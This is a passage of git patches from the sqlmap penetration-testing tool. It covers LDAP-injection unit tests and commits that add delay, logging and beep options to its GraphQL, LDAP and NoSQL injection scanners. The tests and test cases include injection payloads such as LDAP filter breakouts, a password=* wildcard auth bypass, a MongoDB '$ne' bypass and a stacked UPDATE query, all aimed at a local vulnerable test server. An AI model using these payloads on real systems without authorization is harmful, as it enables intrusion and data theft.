self.assertEqual(ldap.LDAP_BREAKOUT_PREFIXES[0], "*)") + + def test_detectBoolean_returns_prefix(self): + """_detectBoolean must return the winning breakout prefix.""" + def fakeSend(place, param, value): + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + + def test_detectBoolean_fallback_prefix(self): + """When first prefix fails, try next one.""" + calls = [] + def fakeSend(place, param, value): + calls.append(value) + # First breakout '*)' -- error + if value.startswith("x*)(objectClass=*"): + return '{"error":"Bad search filter"}' + # Second breakout ')' succeeds + if value.startswith("x)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, ")") + + +class TestAuthBypassRestriction(unittest.TestCase): + def test_auth_bypass_password_like(self): + """Blockers 6: wildcard auth bypass only for password-like params.""" + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("pass")) + self.assertTrue(ldap._isPasswordParam("pwd")) + self.assertTrue(ldap._isPasswordParam("passphrase")) + self.assertTrue(ldap._isPasswordParam("secret")) + self.assertTrue(ldap._isPasswordParam("pincode")) + self.assertTrue(ldap._isPasswordParam("credential")) + self.assertTrue(ldap._isPasswordParam("apikey")) + self.assertTrue(ldap._isPasswordParam("token")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + + def test_auth_bypass_search_like(self): + """Search parameter 'q' is NOT reported as auth bypass.""" + self.assertFalse(ldap._isPasswordParam("q")) + self.assertFalse(ldap._isPasswordParam("search")) + self.assertFalse(ldap._isPasswordParam("query")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam("id")) + + +class TestCookiePlace(unittest.TestCase): + def test_cookie_not_in_ldap_places(self): + """Blockers 2: cookie/URI not in LDAP_PLACES until _send supports them.""" + from lib.core.enums import PLACE + self.assertNotIn(PLACE.COOKIE, ldap.LDAP_PLACES) + self.assertNotIn(PLACE.URI, ldap.LDAP_PLACES) + + +class TestNestedFilterParsing(unittest.TestCase): + def test_nested_compound_parses_all_siblings(self): + """Blockers 3: nested (&) inside (|) must parse all siblings.""" + # Inline copies of the vulnserver helpers so the test is self-contained + def _ldap_match(text, start): + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + + def _ldap_parse_value(text, start): + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + + # Minimum reproduction of the fixed _ldap_filter_to_sql + # (the real function is in extra/vulnserver/vulnserver.py) + import sys, os + sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'extra', 'vulnserver')) + # Can't cleanly import vulnserver because of the __main__ guard. + # Instead we verify the fixed _ldap_match returns the correct end + # position for a nested compound filter, which was the root cause. + f = '(|(&(uid=a)(cn=b))(mail=*))' + # The outer (| ... ) starts at 0 and should end at len(f) + outer_end = _ldap_match(f, 0) + self.assertEqual(outer_end, len(f)) + # The inner (& ... ) compound's opening '(' is at position 2 + # (f[2] == '('). _ldap_match must return the position after the + # matching ')' that closes the compound, i.e. right before (mail=*). + inner_end = _ldap_match(f, 2) + self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + + +if __name__ == "__main__": + unittest.main() From c51b4c072fb05e649d4b0b40b260448d443960fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 01:59:58 +0200 Subject: [PATCH 070/165] Minor patches --- .gitignore | 1 + data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 11 +++++++++++ lib/techniques/ldap/inject.py | 12 +++++++++++- lib/techniques/nosql/inject.py | 6 ++++++ 6 files changed, 34 insertions(+), 6 deletions(-) diff --git a/.gitignore b/.gitignore index dc5685d8c..78c5d1d9b 100644 --- a/.gitignore +++ b/.gitignore @@ -14,3 +14,4 @@ extra/.DS_Store lib/.DS_Store plugins/.DS_Store thirdparty/.DS_Store +CLAUDE.md diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 899d7e710..6afb127f0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -af4dcbb3256ae407ade6fa8270d01d4bbf398d50be3be16b80572835662d6c2f lib/core/settings.py +dc6658683ad78759563aa8ae91696130112ea28e94d770ad72bdb5f09a81122c lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -240,12 +240,12 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py -a1c5ec208843eb93e0fab40daac090aa3bf914a7dd0afb0f7c55c2db4db8d72b lib/techniques/graphql/inject.py +ffbc7583a563bb9fe5a560ca8363f3e4ec84ecf907b956883ab1f2904f19d529 lib/techniques/graphql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py -d469815c430caaafeeba285d10974456b96d7019f95738fe8038bfd0855068e4 lib/techniques/ldap/inject.py +cc90c641d74244e45fa0c8c4026315452137e66b6fb5cef681d0eacd4e11eb69 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py -d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py +e2cd2b19f82393f9bbc8f374686cd851a4ccc264bb898ea54547ec479a05674c lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d50f1eded..e497f607a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.164" +VERSION = "1.10.6.165" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index f240443d0..f56139d92 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -13,11 +13,13 @@ import time from collections import namedtuple from collections import OrderedDict +from lib.core.common import beep from lib.core.common import randomStr from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import POST_HINT from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import GRAPHQL_ENDPOINT_PATHS @@ -234,6 +236,13 @@ def _gqlSend(endpoint, query, variables=None): body = {"query": query} if variables: body["variables"] = variables + + if conf.delay: + time.sleep(conf.delay) + + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, query[:200]) + oldPostHint = getattr(kb, "postHint", None) try: kb.postHint = POST_HINT.JSON @@ -974,6 +983,8 @@ def _testSlot(slot, endpoint): report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) conf.dumper.singleString(report) + if conf.beep: + beep() # In-band exposure: the always-true payload reflecting extra records directly if kind == "boolean" and templatePage: diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index ef373d919..446a4ce8f 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -7,9 +7,11 @@ See the file 'LICENSE' for copying permission import difflib import re +import time from collections import namedtuple +from lib.core.common import beep from lib.core.common import randomStr from lib.core.convert import getUnicode from lib.core.data import conf @@ -154,12 +156,16 @@ def _send(place, parameter, value): skipUrlEncode = conf.skipUrlEncode conf.skipUrlEncode = True + if conf.delay: + time.sleep(conf.delay) + try: kwargs = {"raise404": False, "silent": True} payload = _replaceSegment(place, parameter, value) kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload - logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) page, _, _ = Request.getPage(**kwargs) return page or "" except Exception as ex: @@ -671,6 +677,8 @@ def ldapScan(): found += 1 backend = backendHint or None logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + if conf.beep: + beep() oracle = _makeOracle(place, parameter, template) slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) @@ -681,6 +689,8 @@ def ldapScan(): if bypass: found += 1 logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) + if conf.beep: + beep() slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) continue diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index ed26886dc..9d4a22dae 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -13,6 +13,7 @@ import time from collections import namedtuple from collections import OrderedDict +from lib.core.common import beep from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb @@ -134,6 +135,9 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): skipUrlEncode = conf.skipUrlEncode conf.skipUrlEncode = True + if conf.delay: + time.sleep(conf.delay) + try: kwargs = {"raise404": False, "silent": True} @@ -705,6 +709,8 @@ def nosqlScan(): found += 1 infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms) logger.info(infoMsg) + if conf.beep: + beep() # standard sqlmap-style injection-point summary (reproducible vector) if vector.bypass == '{"$ne": null}': From 7e610b871664429ecf9d9bcf9426f594b7849b5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 02:09:50 +0200 Subject: [PATCH 071/165] Removing some unused imports --- data/txt/sha256sums.txt | 16 ++++++++-------- lib/core/datatype.py | 1 - lib/core/patch.py | 1 - lib/core/settings.py | 2 +- lib/request/keepalive.py | 1 - lib/utils/search.py | 1 - lib/utils/wafbypass.py | 1 - tests/test_common_helpers.py | 1 - tests/test_convert.py | 3 +-- 9 files changed, 10 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6afb127f0..7d7a479ae 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -172,7 +172,7 @@ c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigar 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py +d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py @@ -183,13 +183,13 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py -ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py +28e73bcc4159e9d8afb4fc4f6f4f5791a47da042a5e7149cbb18f21d1e0aa43a lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dc6658683ad78759563aa8ae91696130112ea28e94d770ad72bdb5f09a81122c lib/core/settings.py +282a9a02edea203ce77c336eb7a147e6d0442bfeda3dd935abacd9c535ecace0 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -218,7 +218,7 @@ a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -d55b67943d925e40f019920ac7805655217c1e8f893d71d855dce724225c8fb8 lib/request/keepalive.py +d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py @@ -266,13 +266,13 @@ c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/prog c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py -de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py +f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21 lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027 lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py -b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py +c9618a9f5300f85f2078cdd71c6bee6b45a61a404834c17b07b0e0eb4709586a lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13 LICENSE 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557 plugins/dbms/access/connector.py @@ -583,10 +583,10 @@ bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_age feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py -a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py +2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py -8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py +678927457c16e5c610be5280d47dcc6f1ff1a56a8acd9feb1d63e091e266b7b3 tests/test_convert.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py diff --git a/lib/core/datatype.py b/lib/core/datatype.py index e7ed7430b..11b45878a 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission import copy import threading -import types from thirdparty.odict import OrderedDict from thirdparty.six.moves import collections_abc as _collections diff --git a/lib/core/patch.py b/lib/core/patch.py index 19acde6ef..ae72028e4 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -6,7 +6,6 @@ See the file 'LICENSE' for copying permission """ import codecs -import collections import difflib import inspect import logging diff --git a/lib/core/settings.py b/lib/core/settings.py index e497f607a..d7c98f63e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.165" +VERSION = "1.10.6.166" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index cee9ed344..299a5450f 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -9,7 +9,6 @@ import socket import threading import time -from lib.core.data import conf from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT from lib.core.settings import KEEPALIVE_MAX_REQUESTS from thirdparty.six.moves import http_client as _http_client diff --git a/lib/utils/search.py b/lib/utils/search.py index 4e98a12f5..0ac45d72a 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -22,7 +22,6 @@ from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapConnectionException from lib.core.settings import BING_REGEX from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py index f50fea9f5..a16f99afb 100644 --- a/lib/utils/wafbypass.py +++ b/lib/utils/wafbypass.py @@ -13,7 +13,6 @@ import sys from lib.core.common import fetchRandomAgent from lib.core.data import conf -from lib.core.data import kb from lib.core.data import paths from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py index a13dc4517..ca37d14bd 100644 --- a/tests/test_common_helpers.py +++ b/tests/test_common_helpers.py @@ -14,7 +14,6 @@ byte-for-byte; randomizeParameterValue is asserted via its invariants. """ import os -import re import sys import unittest diff --git a/tests/test_convert.py b/tests/test_convert.py index 218b4a693..19671a7bf 100644 --- a/tests/test_convert.py +++ b/tests/test_convert.py @@ -16,14 +16,13 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap bootstrap() from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, getBytes, getText, getUnicode, getOrds, jsonize, dejsonize, base64pickle, base64unpickle) from lib.core.common import decodeDbmsHexValue -from lib.core.enums import DBMS RND = random.Random(0xC0FFEE) From 771d4cfb66c480b61fe7d86d5cff0164b7de78f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 09:36:32 +0200 Subject: [PATCH 072/165] Fixing CI/CD failure --- data/txt/sha256sums.txt | 6 +++--- lib/core/convert.py | 6 ++++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 4 files changed, 9 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7d7a479ae..b1e8c7320 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -170,7 +170,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py 122767794156afa41b19baa706ad4c124eef6eaf73ed8fd208d8f634e97e82eb lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py -742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py +a683d0ad9ba543587382c4903d28db610ae20394fcf9045a68b2ab54a39381ae lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py @@ -189,11 +189,11 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -282a9a02edea203ce77c336eb7a147e6d0442bfeda3dd935abacd9c535ecace0 lib/core/settings.py +b9b6134a0dcd0b5cfd2a64d838eb0ec681f78e0c5d6ff4c90a478093b93f2a78 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -83e23dd422b0debc82f14b2d072eb36ee478a23e4299caf986372c8c40d00b2c lib/core/testing.py +46b405d0e0e035b3f323deffc1f1d30505adf7c01144ea2ddf81c5dc6caaa20f lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 848ae696f..6588faf1a 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -35,9 +35,11 @@ from thirdparty.six.moves import html_parser from thirdparty.six.moves import collections_abc as _collections try: - from html import escape as htmlEscape + from html import escape as _escape except ImportError: - from cgi import escape as htmlEscape + from cgi import escape as _escape + +htmlEscape = _escape def base64pickle(value): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index d7c98f63e..f99f46feb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.166" +VERSION = "1.10.6.167" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 0362cc600..158a218e3 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -90,7 +90,7 @@ def vulnTest(): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) - ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP boolean-based blind", "LDAP: GET parameter 'q' directory entries", "dumped", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing + ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), From cbf5dbd29e1fc09547cfb25fe373530af311bde6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 09:49:16 +0200 Subject: [PATCH 073/165] Minor refactoring --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/utils/safe2bin.py | 10 ++++++---- 4 files changed, 11 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b1e8c7320..79bc078b2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 